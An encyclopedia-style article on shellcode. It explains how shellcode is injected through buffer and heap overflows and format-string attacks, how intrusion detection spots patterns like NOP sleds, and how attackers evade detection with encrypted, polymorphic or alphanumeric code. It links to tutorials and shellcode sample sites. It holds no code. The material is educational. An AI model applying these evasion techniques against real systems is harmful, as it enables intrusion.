A shellcode is an assembly language program which executes a shell, such as the '/bin/sh' Unix shell, or the command.com shell on DOS and Microsoft Windows operating systems. A shellcode may be used as an exploit payload, providing a cracker with command line access to a computer system.

How do shellcodes work?

Shellcodes are typically injected into computer memory by exploiting stack and heap-based buffer overflows, or format string attacks. Shellcode execution can be triggered by overwriting a stack return address with the address of the injected shellcode. This results in that when the subroutine tries to return to the caller, it instead returns to the shellcode that opens a command line for the cracker to use.

Detecting shellcode insertion

Crackers writing shellcodes often use techniques to hide their attack. They often try to exploit how intrusion detection systems recognize any incoming attack. A typical IDS usually searches through all the incoming packets for shellcode specific patterns (often a large array of no-operating codes ("NOP's")); if it finds any such pattern the packet is discarded before it reaches its destination application. The IDS's weak point is that it cannot do any really good searches as it takes too much time and would thereby slow down the connection to the Internet.

Shellcode almost always contains a string with the name of a shell. All incoming packets containing such a string are undoubtedly quite suspicious in the eyes of the IDS. Also, some applications do not accept non-alphanumeric inputs (they do not accept anything other than a-z, A-Z, 0-9, and a few other characters.)

To get through such kinds of anti-intrusion measures, crackers sometimes make use of encryption, self-modifying code, polymorphic code and alphanumeric code.

Outside links

• http://www.phrack.org/phrack/49/P49-14 The canonical introduction to buffer overflows and shellcode creation
• http://www.shellcode.com.ar/docz/bof/Writing_shellcode.html An introduction to shellcode development
• http://www.metasploit.com/shellcode.html Contains x86 and non-x86 shellcode samples and an online interface for automatic shellcode generation and encoding
• http://www.shellcode.org/ Contains x86 and non-x86 shellcode samples

See also

• Buffer overflow
• Heap overflow
• Computer security
• Assembly language